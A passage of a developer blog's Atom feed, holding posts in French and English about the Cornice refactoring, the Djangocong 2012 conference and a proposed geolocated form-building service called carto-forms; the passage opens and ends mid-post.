means that you can stick with the service description but plug any other
framework on top of it. cornice.services.Service is now only a
description tool. To register routes, one would need to read the
information contained into this service and inject the right parameters
into their preferred routing&amp;nbsp;system.&lt;/p&gt;
&lt;p&gt;However, no integration with other frameworks is done at the moment even
if the design allows&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;The same way, the sphinx description layer is now only a consumer of
this service description tool: it looks at what&amp;#8217;s described and build-up
the documentation from&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;The resulting branch is not merged yet. Still, you can &lt;a href="https://github.com/mozilla-services/cornice/tree/refactor-the-world"&gt;have a look at
it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Any suggestions are of course welcome&amp;nbsp;:-)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Djangocong 2012</title><link href="https://blog.notmyidea.org/djangocong-2012.html" rel="alternate"></link><published>2012-04-16T00:00:00+02:00</published><updated>2012-04-16T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-04-16:/djangocong-2012.html</id><summary type="html">
&lt;p&gt;Ce week-end, c&amp;#8217;était &lt;a href="http://rencontres.django-fr.org"&gt;djangocong&lt;/a&gt;, une
conférence autour de &lt;a href="http://djangoproject.org"&gt;django&lt;/a&gt;, de
&lt;a href="http://python.org"&gt;python&lt;/a&gt; et du web, qui avait lieu dans le sud, à
Carnon-plage, à quelques kilomètres de Montpellier la&amp;nbsp;belle.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai vraiment apprécié les trois jours passés avec cette bande de geeks.
Je m&amp;#8217;attendais à des &lt;em&gt;nerds&lt;/em&gt;, j …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Ce week-end, c&amp;#8217;était &lt;a href="http://rencontres.django-fr.org"&gt;djangocong&lt;/a&gt;, une
conférence autour de &lt;a href="http://djangoproject.org"&gt;django&lt;/a&gt;, de
&lt;a href="http://python.org"&gt;python&lt;/a&gt; et du web, qui avait lieu dans le sud, à
Carnon-plage, à quelques kilomètres de Montpellier la&amp;nbsp;belle.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai vraiment apprécié les trois jours passés avec cette bande de geeks.
Je m&amp;#8217;attendais à des &lt;em&gt;nerds&lt;/em&gt;, j&amp;#8217;y ai trouvé une qualité d&amp;#8217;écoute, des
personnes qui partagent des valeurs qui leur sont chères, mais qui ne
limitent pas leurs discussions à du technique. Eeeh ouais, encore un
préjugé qui tombe, tiens&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;En tant que &lt;em&gt;hackers&lt;/em&gt;, on a le moyen de créer des outils qui sont utiles
à tous, et qui peuvent être utiles pour favoriser la collaboration et la
mise en commun des données. J&amp;#8217;ai eu l&amp;#8217;occasion de discuter de projets
tournant autour de l&amp;#8217;entraide, que ça soit pour mettre en lien des
associations d&amp;#8217;économie sociale et solidaire (&lt;span class="caps"&gt;ESS&lt;/span&gt;) ou simplement pour
que les populations &lt;em&gt;non tech&lt;/em&gt; &lt;a href="http://blog.notmyidea.org/quels-usages-pour-linformatique-fr.html"&gt;puissent utiliser toute la puissance de
l&amp;#8217;outil qu&amp;#8217;est le
web&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Au niveau du format des conférences, je ne savais pas trop à quoi
m&amp;#8217;attendre, au vu des échos de l&amp;#8217;an dernier, mais c&amp;#8217;était adapté: des
mini-confs de 12mn le samedi matin + début d&amp;#8217;aprem, en mode no-wifi pour
récupérer une qualité d&amp;#8217;écoute. Et contrairement à mes attentes, ce
n&amp;#8217;est pas trop court. Pas mal de retours d&amp;#8217;expérience pour le coup, et
une matinée pas vraiment techniques, mais ça pose le décor et permet de
savoir qui fait&amp;nbsp;quoi.&lt;/p&gt;
&lt;p&gt;Parmi l&amp;#8217;ensemble des conférences du matin, je retiens principalement
celle de Mathieu Leplatre, &amp;#8220;des cartes d&amp;#8217;un autre monde&amp;#8221;, qui m&amp;#8217;a
réellement bluffée quand à la facilité de créer des cartes avec
&lt;a href="http://mapbox.com/tilemill/"&gt;TileMill&lt;/a&gt;, et qui me pousse à reconsidérer
le fait que &amp;#8220;la carto, c&amp;#8217;est compliqué&amp;#8221;. &lt;a href="https://www.youtube.com/watch?v=7NPQo54NbJ8"&gt;La vidéo est (déja !)
disponible en ligne&lt;/a&gt;, je
vous invite à la regarder (c&amp;#8217;est une 15aine de minutes) pour vous faire
un avis&amp;nbsp;;)&lt;/p&gt;
&lt;p&gt;Une fois les conf passées, ça reste très intéressant, voire plus: il
reste un jour et demi pour discuter avec les autres présents. On a pu se
retrouver avec Mathieu pour discuter de &amp;#8220;notre&amp;#8221; projet &lt;a href="http://blog.notmyidea.org/carto-forms-fr.html"&gt;&amp;#8220;carto
forms&amp;#8221;&lt;/a&gt;, qui à finalement
pu se redéfinir un peu plus et donner naissance à un
&lt;a href="https://github.com/spiral-project/daybed/blob/master/README.rst"&gt;&lt;span class="caps"&gt;README&lt;/span&gt;&lt;/a&gt;.
On en à profité pour lui choisir un nouveau nom: &amp;#8220;daybed&amp;#8221;, en référence
à&amp;nbsp;couchdb.&lt;/p&gt;
&lt;p&gt;Ça devrait se transformer en code d&amp;#8217;ici peu. La curiosité aidant, on a
pu discuter du projet avec d&amp;#8217;autres personnes et affiner les attentes de
chacun pour finalement arriver à quelque chose d&amp;#8217;assez&amp;nbsp;sympathique.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai aussi pu me rendre compte que pas mal de monde utilise
&lt;a href="http://pelican.notmyidea.org"&gt;pelican&lt;/a&gt;, le bout de code que j&amp;#8217;ai codé
pour générer ce blog, et avoir des retours utiles ! Probablement des
réflexions à venir sur comment éviter qu&amp;#8217;un projet open-source ne
devienne chronophage, et sur comment réussir à garder une qualité dans
le code source tout en ne froissant pas les&amp;nbsp;contributeurs.&lt;/p&gt;
&lt;p&gt;Bien évidemment, c&amp;#8217;était aussi l&amp;#8217;occaz de rencontrer des gens qu&amp;#8217;on ne
voir que sur les inter-nets, et de discuter un brin de tout ce qui fait
que notre monde est chouette et moins&amp;nbsp;chouette.&lt;/p&gt;
&lt;p&gt;Entres autres faits notoires, JMad a perdu au baby-foot face à Exirel,
même en m&amp;#8217;ayant à ses cotés pour le déconcentrer (et je suis un joueur
d&amp;#8217;un autre monde - en d&amp;#8217;autres termes, je suis nul), David`bgk ne s&amp;#8217;est
pas levé pour aller courir le dimanche matin (il avait dit 5 heures!),
Les suisses ont essayé de me convertir à coup d&amp;#8217;abricotine, j&amp;#8217;ai perdu
au skulls-n-roses en quelques tours et on a allumé un feu chez Stéphane
le dimanche soir (oui oui, à montpellier, mi avril, je vous le dis
qu&amp;#8217;ils mentent avec leur soit disant&amp;nbsp;soleil).&lt;/p&gt;
&lt;p&gt;Et c&amp;#8217;est sans parler de &lt;a href="http://jehaisleprintemps.net/blog/fr/2012/04/15/j-ecris-ton-nom/"&gt;la
brasucade&lt;/a&gt;&amp;nbsp;…&lt;/p&gt;
&lt;p&gt;Bref, vivement la prochaine (et allez, cette fois ci je ferais une
présentation&amp;nbsp;!)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Génération de formulaires, geolocalisés ?</title><link href="https://blog.notmyidea.org/generation-de-formulaires-geolocalises.html" rel="alternate"></link><published>2012-04-02T00:00:00+02:00</published><updated>2012-04-02T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-04-02:/generation-de-formulaires-geolocalises.html</id><summary type="html">
&lt;p&gt;On a un plan. Un &amp;#8220;truc de&amp;nbsp;ouf&amp;#8221;.&lt;/p&gt;
&lt;p&gt;À plusieurs reprises, des amis m&amp;#8217;ont demandé de leur coder la même
chose, à quelques détails près: une page web avec un formulaire qui
permettrait de soumettre des informations géographiques, lié à une carte
et des manières de filtrer&amp;nbsp;l&amp;#8217;information …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;On a un plan. Un &amp;#8220;truc de&amp;nbsp;ouf&amp;#8221;.&lt;/p&gt;
&lt;p&gt;À plusieurs reprises, des amis m&amp;#8217;ont demandé de leur coder la même
chose, à quelques détails près: une page web avec un formulaire qui
permettrait de soumettre des informations géographiques, lié à une carte
et des manières de filtrer&amp;nbsp;l&amp;#8217;information.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;idée fait son bout de chemin, et je commence à penser qu&amp;#8217;on peut même
avoir quelque chose de vraiment flexible et utile. J&amp;#8217;ai nommé le projet
&lt;em&gt;carto-forms&lt;/em&gt; pour l&amp;#8217;instant (mais c&amp;#8217;est uniquement un nom de&amp;nbsp;code).&lt;/p&gt;
&lt;p&gt;Pour résumer: et si on avait un moyen de construire des formulaires, un
peu comme Google forms, mais avec des informations géographiques en&amp;nbsp;plus?&lt;/p&gt;
&lt;p&gt;Si vous ne connaissez pas Google forms, il s&amp;#8217;agit d&amp;#8217;une interface simple
d&amp;#8217;utilisation pour générer des formulaires et récupérer des informations
depuis ces&amp;nbsp;derniers.&lt;/p&gt;
&lt;p&gt;Google forms est un super outil mais à mon avis manque deux choses
importantes: premièrement, il s&amp;#8217;agit d&amp;#8217;un outil propriétaire (oui, on
peut aussi dire privateur) et il n&amp;#8217;est donc pas possible de le hacker un
peu pour le faire devenir ce qu&amp;#8217;on souhaite, ni l&amp;#8217;installer sur notre
propre serveur. Deuxièmement, il ne sait pas vraiment fonctionner avec
des informations géographiques, et il n&amp;#8217;y à pas d&amp;#8217;autre moyen de filtrer
les informations que l&amp;#8217;utilisation de leur système de feuilles de&amp;nbsp;calcul.&lt;/p&gt;
&lt;p&gt;Après avoir réfléchi un petit peu à ça, j&amp;#8217;ai contacté
&lt;a href="http://blog.mathieu-leplatre.info/"&gt;Mathieu&lt;/a&gt; et les anciens collègues
de chez &lt;a href="http://makina-corpus.com"&gt;Makina Corpus&lt;/a&gt;, puisque les projets
libres à base de carto sont à même de les&amp;nbsp;intéresser.&lt;/p&gt;
&lt;p&gt;Imaginez le cas&amp;nbsp;suivant:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Dans une &amp;#8220;mapping party&amp;#8221;, on choisit un sujet particulier à
    cartographier et on design un formulaire (liste des champs (tags) a
    remplir + description + le type d&amp;#8217;information)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Sur place, les utilisateurs remplissent les champs du formulaire
    avec ce qu&amp;#8217;ils voient. Les champs géolocalisés peuvent être remplis
    automatiquement avec la géolocalisation du téléphone&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;À la fin de la journée, il est possible de voir une carte des
    contributions, avec le formulaire choisi&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Un script peut importer les résultats et les publier vers&amp;nbsp;OpenStreetMap.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="quelques-cas-dutilisation"&gt;Quelques cas&amp;nbsp;d&amp;#8217;utilisation&lt;/h2&gt;
&lt;p&gt;J&amp;#8217;arrive à imaginer différents cas d&amp;#8217;utilisation pour cet outil. Le
premier est celui que j&amp;#8217;ai approximativement décrit plus haut: la
génération de cartes de manière collaborative, avec des filtres à
facettes. Voici un flux d&amp;#8217;utilisation&amp;nbsp;général:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Un &amp;#8220;administrateur&amp;#8221; se rend sur le site web et crée un nouveau
    formulaire pour l&amp;#8217;ensemble des évènements alternatifs. Il crée les
    champs&amp;nbsp;suivants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nom: le champ qui contient le nom de&amp;nbsp;l&amp;#8217;évènement.&lt;/li&gt;
&lt;li&gt;Catégorie: la catégorie de l&amp;#8217;évènement (marche, concert,
    manifestation…). Il peut s&amp;#8217;agir d&amp;#8217;un champ à multiples&amp;nbsp;occurrences.&lt;/li&gt;
&lt;li&gt;Le lieu de l&amp;#8217;évènement. Celui-ci peut être donné soit par une
    adresse soit en sélectionnant un point sur une&amp;nbsp;carte.&lt;/li&gt;
&lt;li&gt;Date: la date de l&amp;#8217;évènement (un &amp;#8220;date picker&amp;#8221; peut permettre
    cela&amp;nbsp;facilement)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chaque champ dans le formulaire a des informations sémantiques
associées (oui/non, multiple sélection, date, heure, champ géocodé,
sélection carto,&amp;nbsp;etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Une fois terminé, le formulaire est généré et une &lt;span class="caps"&gt;URL&lt;/span&gt; permet d&amp;#8217;y
    accéder. (par exemple &lt;a href="http://forms.notmyidea.org/alternatives"&gt;http://forms.notmyidea.org/alternatives&lt;/a&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Une &lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;REST&lt;/span&gt; permet à d&amp;#8217;autres applications d&amp;#8217;accéder aux
    informations et d&amp;#8217;en ajouter / modifier de&amp;nbsp;nouvelles.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il est maintenant possible de donner l&amp;#8217;&lt;span class="caps"&gt;URL&lt;/span&gt; à qui voudra en faire bon
    usage. N&amp;#8217;importe qui peut ajouter des informations. On peut
    également imaginer une manière de modérer les modifications si
    besoin&amp;nbsp;est.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bien sur, la dernière phase est la plus intéressante: il est
    possible de filtrer les informations par lieu, catégorie ou date, le
    tout soit via une &lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;REST&lt;/span&gt;, soit via une jolie carte et quelques
    contrôles bien placés, dans le&amp;nbsp;navigateur.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vous avez dû remarquer que le processus de création d&amp;#8217;un formulaire est
volontairement très simple. L&amp;#8217;idée est que n&amp;#8217;importe qui puisse créer
des cartes facilement, en quelques clics. Si une &lt;span class="caps"&gt;API&lt;/span&gt; bien pensée suit,
on peut imaginer faire de la validation coté serveur et même faire des
applications pour téléphone assez&amp;nbsp;simplement.&lt;/p&gt;
&lt;p&gt;Pour aller un peu plus loin, si on arrive à penser un format de
description pour le formulaire, il sera possible de construire les
formulaires de manière automatisée sur différentes plateformes et
également sur des clients&amp;nbsp;génériques.&lt;/p&gt;
&lt;p&gt;On imagine pas mal d&amp;#8217;exemples pour ce projet: des points de recyclage,
les endroits accessibles (pour fauteuils roulants etc.), identification
des arbres, bons coins à champignons, recensement des espèces en voie de
disparition (l&amp;#8217;aigle de Bonelli est actuellement suivi en utilisant une
feuille de calcul partagée !), suivi des espèces dangereuses (le frelon
asiatique par exemple), cartographier les points d&amp;#8217;affichage
publicitaires, participation citoyenne (graffitis, nids de poule, voir
&lt;a href="http://fixmystreet.ca"&gt;http://fixmystreet.ca&lt;/a&gt;), geocaching, trajectoires (randonnées,
coureurs,&amp;nbsp;cyclistes)…&lt;/p&gt;
&lt;p&gt;Voici quelques exemples où ce projet pourrait être utile (la liste n&amp;#8217;est
pas&amp;nbsp;exhaustive):&lt;/p&gt;
&lt;h3 id="un-backend-sig-simple-a-utiliser"&gt;Un backend &lt;span class="caps"&gt;SIG&lt;/span&gt; simple à&amp;nbsp;utiliser&lt;/h3&gt;
&lt;p&gt;Disons que vous êtes développeur mobile. Vous ne voulez pas vous
encombrer avec PostGIS ou écrire du code spécifique pour récupérer et
insérer des données &lt;span class="caps"&gt;SIG&lt;/span&gt;! Vous avez besoin de &lt;em&gt;Carto-Forms&lt;/em&gt;! Une &lt;span class="caps"&gt;API&lt;/span&gt;
simple vous aide à penser vos modèles et vos formulaires, et cette même
&lt;span class="caps"&gt;API&lt;/span&gt; vous permet d&amp;#8217;insérer et de récupérer des données. Vous pouvez vous
concentrer sur votre application et non pas sur la manière dont les
données géographiques sont stockées et&amp;nbsp;gérées.&lt;/p&gt;
&lt;p&gt;En d&amp;#8217;autres termes, vous faites une distinction entre le stockage des
informations et leur&amp;nbsp;affichage.&lt;/p&gt;
&lt;p&gt;Si vous êtes un développeur django, plomino, drupal etc. vous pouvez
développer un module pour &amp;#8220;plugger&amp;#8221; vos modèles et votre interface
utilisateur avec celle de &lt;em&gt;Carto-Forms&lt;/em&gt;. De cette manière, il est
possible d&amp;#8217;exposer les formulaires aux utilisateurs de vos backoffices.
De la même manière, il est possible d&amp;#8217;écrire des widgets qui consomment
des données et les affichent (en utilisant par exemple une bibliothèque
javascript de&amp;nbsp;webmapping).&lt;/p&gt;
&lt;h3 id="un-outil-de-visualisation"&gt;Un outil de&amp;nbsp;visualisation&lt;/h3&gt;
&lt;p&gt;Puisque les données peuvent être proposées de manière automatisée en
utilisant l&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;, vous pouvez utiliser la page de résultat de Carto-forms
comme un outil de&amp;nbsp;visualisation.&lt;/p&gt;
&lt;p&gt;Il est possible d&amp;#8217;explorer mon jeu de données en utilisant des filtres
sur chacun des champs. La recherche à facettes peut être une idée pour
faciliter ce filtrage. Une carte affiche le résultat. Vous avez
l&amp;#8217;impressoin d&amp;#8217;être en face d&amp;#8217;un système d&amp;#8217;aide à la décision&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Évidemment, il est possible de télécharger les données brutes (geojson,
xml). Idéalement, le mieux serait d&amp;#8217;obtenir ces données filtrées
directement depuis une &lt;span class="caps"&gt;API&lt;/span&gt; Web, et un lien permet de partager la page
avec l&amp;#8217;état des filtres et le niveau de zoom / la localisation de la&amp;nbsp;carte.&lt;/p&gt;
&lt;h3 id="un-service-generique-pour-gerer-les-formulaires"&gt;Un service générique pour gérer les&amp;nbsp;formulaires&lt;/h3&gt;
&lt;p&gt;Si vous souhaitez générer un fichier de configuration (ou ce que vous
voulez, messages emails, …) vous aurez besoin d&amp;#8217;un formulaire et d&amp;#8217;un
template pour injecter les données proposées par les utilisateurs et
récupérer un&amp;nbsp;résultat.&lt;/p&gt;
&lt;p&gt;Un service de gestion des formulaires pourrait être utile pour créer des
formulaires de manière automatique et récupérer les données &amp;#8220;nettoyées&amp;#8221;
et&amp;nbsp;&amp;#8220;validées&amp;#8221;.&lt;/p&gt;
&lt;p&gt;On peut imaginer par exemple l&amp;#8217;utilisation d&amp;#8217;un système de templates
externe reposant sur &lt;em&gt;carto-forms&lt;/em&gt;. Celui-ci &amp;#8220;parserait&amp;#8221; le contenu des
templates et pourrait le lier aux informations ajoutées par les
utilisateurs via un&amp;nbsp;formulaire.&lt;/p&gt;
&lt;p&gt;Pour ce cas particulier, il n&amp;#8217;y a pas besoin d&amp;#8217;informations
géographiques (&lt;span class="caps"&gt;SIG&lt;/span&gt;). Il s&amp;#8217;agit quasiment du service proposé
actuellement par Google&amp;nbsp;forms.&lt;/p&gt;
&lt;h2 id="ca-nexiste-pas-deja-tout-ca"&gt;Ça n&amp;#8217;existe pas déjà tout ça&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;Bien sur, il y a Google forms, qui vous permet de faire ce genre de
choses, mais comme je l&amp;#8217;ai précisé plus haut, il ne s&amp;#8217;agit pas
exactement de la même&amp;nbsp;chose.&lt;/p&gt;
&lt;p&gt;Nous avons découvert &lt;a href="https://webform.com"&gt;https://webform.com&lt;/a&gt; qui permet de créer des
formulaires avec un système de drag&amp;#8217;n&amp;#8217;drop. J&amp;#8217;adorerais reproduire
quelque chose de similaire pour l&amp;#8217;interface utilisateur. Par contre ce
projet ne gère pas les appels via &lt;span class="caps"&gt;API&lt;/span&gt; et les informations de
géolocalisation&amp;nbsp;…&lt;/p&gt;
&lt;p&gt;L&amp;#8217;idée de &lt;a href="http://thoth.io"&gt;http://thoth.io&lt;/a&gt; est également assez sympathique: une api
très simple pour stocker et récupérer des données. En plus de ça,
&lt;em&gt;carto-forms&lt;/em&gt; proposerait de la validation de données et proposerait un
support des points &lt;span class="caps"&gt;SIG&lt;/span&gt; (point, ligne,&amp;nbsp;polygone).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://mapbox.com"&gt;http://mapbox.com&lt;/a&gt; fait également un superbe travail autour de la
cartographie, mais ne prends pas en compte le coté auto-génération de&amp;nbsp;formulaires…&lt;/p&gt;
&lt;h2 id="on-est-parti"&gt;On est parti&amp;nbsp;?!&lt;/h2&gt;
&lt;p&gt;Comme vous avez pu vous en rendre compte, il ne s&amp;#8217;agit pas d&amp;#8217;un problème
outrageusement complexe. On a pas mal discuté avec Mathieu, à propos de
ce qu&amp;#8217;on souhaite faire et du comment. Il se trouve qu&amp;#8217;on peut sûrement
s&amp;#8217;en sortir avec une solution élégante sans trop de problèmes. Mathieu
est habitué à travailler autour des projets de &lt;span class="caps"&gt;SIG&lt;/span&gt; (ce qui est parfait
parce que ce n&amp;#8217;est pas mon cas) et connaît son sujet. Une bonne
opportunité&amp;nbsp;d&amp;#8217;apprendre!&lt;/p&gt;
&lt;p&gt;On sera tous les deux à &lt;a href="http://rencontres.django-fr.org"&gt;Djangocong&lt;/a&gt; le
14 et 15 Avril, et on prévoit une session de &lt;em&gt;tempête de cerveau&lt;/em&gt; et un
sprint sur ce projet. Si vous êtes dans le coin et que vous souhaitez
discuter ou nous filer un coup de patte, n&amp;#8217;hésitez&amp;nbsp;pas!&lt;/p&gt;
&lt;p&gt;On ne sait pas encore si on utilisera django ou quelque chose d&amp;#8217;autre.
On a pensé un peu à CouchDB, son système de couchapps et geocouch, mais
rien n&amp;#8217;est encore gravé dans le marbre ! N&amp;#8217;hésitez pas à proposer vos
solutions ou&amp;nbsp;suggestions.&lt;/p&gt;
&lt;p&gt;Voici le document etherpad sur lequel on a travaillé jusqu&amp;#8217;à maintenant:
&lt;a href="http://framapad.org/carto-forms"&gt;http://framapad.org/carto-forms&lt;/a&gt;. N&amp;#8217;hésitez pas à l&amp;#8217;éditer et à ajouter
vos commentaires, c&amp;#8217;est son&amp;nbsp;objectif!&lt;/p&gt;
&lt;p&gt;Merci à &lt;a href="http://sneakernet.fr/"&gt;Arnaud&lt;/a&gt; pour la relecture et la
correction de quelques typos dans le texte&amp;nbsp;:)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Thoughts about a form generation service, GIS enabled</title><link href="https://blog.notmyidea.org/thoughts-about-a-form-generation-service-gis-enabled.html" rel="alternate"></link><published>2012-04-02T00:00:00+02:00</published><updated>2012-04-02T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2012-04-02:/thoughts-about-a-form-generation-service-gis-enabled.html</id><summary type="html">
&lt;p&gt;&lt;em&gt;Written by Alexis Métaireau &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; Mathieu&amp;nbsp;Leplatre&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We have a plan. A &amp;#8220;fucking good&amp;#8221;&amp;nbsp;one.&lt;/p&gt;
&lt;p&gt;A bunch of friends asked me twice for quite the same thing: a webpage
with a form, tied to a map generation with some information filtering.
They didn&amp;#8217;t explicitly ask that but that&amp;#8217;s the …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;&lt;em&gt;Written by Alexis Métaireau &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; Mathieu&amp;nbsp;Leplatre&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We have a plan. A &amp;#8220;fucking good&amp;#8221;&amp;nbsp;one.&lt;/p&gt;
&lt;p&gt;A bunch of friends asked me twice for quite the same thing: a webpage
with a form, tied to a map generation with some information filtering.
They didn&amp;#8217;t explicitly ask that but that&amp;#8217;s the gist of&amp;nbsp;it.&lt;/p&gt;
&lt;p&gt;This idea has been stuck in my head since then and I even think that we
can come out with something a little bit more flexible and useful. I&amp;#8217;ve
named it &lt;em&gt;carto-forms&lt;/em&gt; for now, but that&amp;#8217;s only the&amp;nbsp;&amp;#8220;codename&amp;#8221;.&lt;/p&gt;
&lt;p&gt;To put it shortly: what if we had a way to build forms, ala Google
forms, but with geographic information in&amp;nbsp;them?&lt;/p&gt;
&lt;p&gt;If you don&amp;#8217;t know Google forms, it means having an user-friendly way to
build forms and to use them to gather information from different&amp;nbsp;users.&lt;/p&gt;
&lt;p&gt;In my opinion, Google forms is missing two important things: first, it&amp;#8217;s
not open-source, so it&amp;#8217;s not possible to hack it or even to run it on
your own server. Second, it doesn&amp;#8217;t really know how to deal with
geographic data, and there is no way to filter the information more than
in a&amp;nbsp;spreadsheet.&lt;/p&gt;
&lt;p&gt;I knew that &lt;a href="http://blog.mathieu-leplatre.info/"&gt;Mathieu&lt;/a&gt; and some folks
at &lt;a href="http://makina-corpus.com"&gt;Makina Corpus&lt;/a&gt; would be interested in
this, so I started a discussion with him on &lt;span class="caps"&gt;IRC&lt;/span&gt; and we refined the
details of the project and its&amp;nbsp;objectives.&lt;/p&gt;
&lt;p&gt;Imagine the&amp;nbsp;following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For a mapping party, we choose a specific topic to map and design
    the form (list of fields (i.e. tags) to be filled + description +
    type of the information)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;In situ, users fill the form fields with what they see. Geo fields
    can be pre-populated using device geolocation&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;At the end of the day, we can see a map with all user contributions
    seized through this particular form&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;If relevant, a script could eventually import the resulting dataset
    and publish/merge with&amp;nbsp;OpenStreetMap.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="some-use-cases"&gt;Some use&amp;nbsp;cases&lt;/h2&gt;
&lt;p&gt;I can see some use cases for this. The first one is a collaborative map,
with facet filtering. Let&amp;#8217;s draw a potential user&amp;nbsp;flow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An &amp;#8220;administrator&amp;#8221; goes to the website and creates a form to list
    all the alternative-related events. He creates the following&amp;nbsp;fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name: a plain text field containing the name of the&amp;nbsp;event.&lt;/li&gt;
&lt;li&gt;Category: the category of the event. Can be a finite&amp;nbsp;list.&lt;/li&gt;
&lt;li&gt;Location: The location of the event. It could be provided by
    selecting a point on a map or by typing an&amp;nbsp;address.&lt;/li&gt;
&lt;li&gt;Date: the date of the event (a datepicker could do the&amp;nbsp;trick)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each field in the form has semantic information associated with it
(yes/no, multiple selection, date-time, geocoding carto, carto
selection&amp;nbsp;etc)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once finished, the form is generated and the user gets an url (say
    &lt;a href="http://forms.notmyidea.org/alternatives"&gt;http://forms.notmyidea.org/alternatives&lt;/a&gt;) for&amp;nbsp;it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;span class="caps"&gt;REST&lt;/span&gt; APIs allow third parties to get the form description and to
    push/edit/get information from&amp;nbsp;there.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He can communicate the address in any way he wants to his community
    so they can go to the page and add information to&amp;nbsp;it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Then, it is possible to filter the results per location / date or
    category. This can be done via &lt;span class="caps"&gt;API&lt;/span&gt; calls (useful for third parties)
    or via a nice interface in the&amp;nbsp;browser.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, as you may have noticed, this would allow us to create interactive
maps really easily. It&amp;#8217;s almost just a matter of some clicks to the
users. If we also come up with a nice Web &lt;span class="caps"&gt;API&lt;/span&gt; for this, we could do
server-side validation and build even phone applications&amp;nbsp;easily.&lt;/p&gt;
&lt;p&gt;To push the cursor a bit further, if we can come with a cool description
format for the forms, we could even build the forms dynamically on
different platforms, with generic&amp;nbsp;clients.&lt;/p&gt;
&lt;p&gt;As mentioned before, the idea of a simple tool to support collaborative
mapping fullfils a recurring necessity&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;We envision a lot of example uses for this : recycling spots, accessible
spots (wheelchairs, etc.), trees identification, mushrooms picking
areas, tracking of endangered species (e.g. Bonelli&amp;#8217;s Eagle is currently
tracked by sharing a spreadsheet), spotting of dangerous species (e.g.
asian predatory wasps), map advertisement boards (most cities do not
track them!), citizen reporting (e.g. graffiti, potholes, garbage,
lightning like &lt;a href="http://fixmystreet.ca"&gt;http://fixmystreet.ca&lt;/a&gt;), geocaching, trajectories (e.g
hiking, runners,&amp;nbsp;cyclists)&amp;#8230;&lt;/p&gt;
&lt;p&gt;Here are some other examples of where &lt;em&gt;carto-forms&lt;/em&gt; could be&amp;nbsp;useful:&lt;/p&gt;
&lt;h3 id="simple-gis-storage-backend"&gt;Simple &lt;span class="caps"&gt;GIS&lt;/span&gt; storage&amp;nbsp;backend&lt;/h3&gt;
&lt;p&gt;Let&amp;#8217;s say you are a mobile developer, you don&amp;#8217;t want to bother with
PostGIS nor write a custom and insecure code to insert and retrieve your
&lt;span class="caps"&gt;GIS&lt;/span&gt; data! You need carto-forms! A simple &lt;span class="caps"&gt;API&lt;/span&gt; helps you design your
models/forms and the same &lt;span class="caps"&gt;API&lt;/span&gt; allows you to &lt;span class="caps"&gt;CRUD&lt;/span&gt; and query your data.
Thus, you only need to focus on your application, not on how &lt;span class="caps"&gt;GIS&lt;/span&gt; data
will be&amp;nbsp;handled.&lt;/p&gt;
&lt;p&gt;We make a distinction between storage and&amp;nbsp;widgets.&lt;/p&gt;
&lt;p&gt;Besides, if you are a django / drupal / plomino&amp;#8230; maintainer : you can
develop a module to &amp;#8220;plug&amp;#8221; your models (content types) and &lt;span class="caps"&gt;UI&lt;/span&gt; to
carto-forms! Carto forms are then exposed to your backoffice users (ex:
drupal admin &lt;span class="caps"&gt;UI&lt;/span&gt;, django adminsite), and likewise you can write your own
